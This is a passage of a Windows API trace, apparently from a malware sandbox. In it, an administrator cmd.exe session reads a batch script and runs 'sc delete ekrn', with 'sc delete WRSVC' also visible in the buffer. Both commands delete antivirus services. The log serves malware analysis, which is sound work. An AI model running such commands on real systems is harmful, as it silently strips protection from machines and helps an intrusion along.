lpDistanceToMoveHigh=0x0) returned 0x0 [0066.996] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.997] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.997] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.997] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.997] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.998] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.998] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.998] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.998] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.998] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.998] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.998] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.998] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.998] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.999] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.999] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.999] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="eRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.999] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.999] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.999] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="kSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.999] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.999] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.999] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.999] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="rVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.999] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.000] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.000] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.000] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="nC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.000] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.000] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.000] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.000] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.000] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.000] GetFileType (hFile=0xb8) returned 0x3 [0067.000] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.000] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.000] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.000] GetFileType (hFile=0x120) returned 0x3 [0067.000] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ekrn\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ekrn\n", lpUsedDefaultChar=0x0) returned 16 [0067.000] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0xf, lpOverlapped=0x0) returned 1 [0067.000] GetProcessHeap () returned 0x1b0000 [0067.000] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.000] GetProcessHeap () returned 0x1b0000 [0067.000] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.000] GetProcessHeap () returned 0x1b0000 [0067.001] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.001] GetProcessHeap () returned 0x1b0000 [0067.001] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.001] GetProcessHeap () returned 0x1b0000 [0067.001] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1c6510 [0067.001] GetConsoleOutputCP () returned 0x1b5 [0067.001] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.001] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.001] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.001] GetProcessHeap () returned 0x1b0000 [0067.001] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.001] GetProcessHeap () returned 0x1b0000 [0067.002] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6550 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0067.002] SetErrorMode (uMode=0x0) returned 0x1 [0067.002] SetErrorMode (uMode=0x1) returned 0x0 [0067.002] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.002] SetErrorMode (uMode=0x1) returned 0x1 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0067.002] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.002] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.002] GetProcessHeap () returned 0x1b0000 [0067.002] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.002] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.003] GetProcessHeap () returned 0x1b0000 [0067.003] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.003] GetProcessHeap () returned 0x1b0000 [0067.003] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.003] GetProcessHeap () returned 0x1b0000 [0067.003] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.003] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.003] GetLastError () returned 0x2 [0067.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.003] GetLastError () returned 0x2 [0067.003] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.003] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.004] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.004] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.004] GetLastError () returned 0x2 [0067.004] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.004] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.004] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.004] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.004] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.004] GetProcessHeap () returned 0x1b0000 [0067.004] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.004] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.005] GetProcessHeap () returned 0x1b0000 [0067.005] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x96) returned 0x1c9180 [0067.005] GetProcessHeap () returned 0x1b0000 [0067.005] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x96 [0067.005] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ekrn") returned 1 [0067.005] GetProcessHeap () returned 0x1b0000 [0067.005] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.005] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.006] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.006] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.006] GetProcessHeap () returned 0x1b0000 [0067.006] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.007] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.007] GetProcessHeap () returned 0x1b0000 [0067.007] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.007] GetProcessHeap () returned 0x1b0000 [0067.007] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.007] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ekrn", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ekrn", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete ekrn", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x838, dwThreadId=0x868)) returned 1 [0067.011] CloseHandle (hObject=0x54) returned 1 [0067.011] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.012] GetProcessHeap () returned 0x1b0000 [0067.012] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.012] GetEnvironmentStringsW () returned 0x1d1b10* [0067.012] GetProcessHeap () returned 0x1b0000 [0067.012] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.012] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.012] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.012] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.012] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0067.067] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.067] CloseHandle (hObject=0x50) returned 1 [0067.067] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.067] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.067] GetProcessHeap () returned 0x1b0000 [0067.067] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.067] GetEnvironmentStringsW () returned 0x1d1b10* [0067.067] GetProcessHeap () returned 0x1b0000 [0067.067] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.068] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.068] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.068] GetProcessHeap () returned 0x1b0000 [0067.068] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, 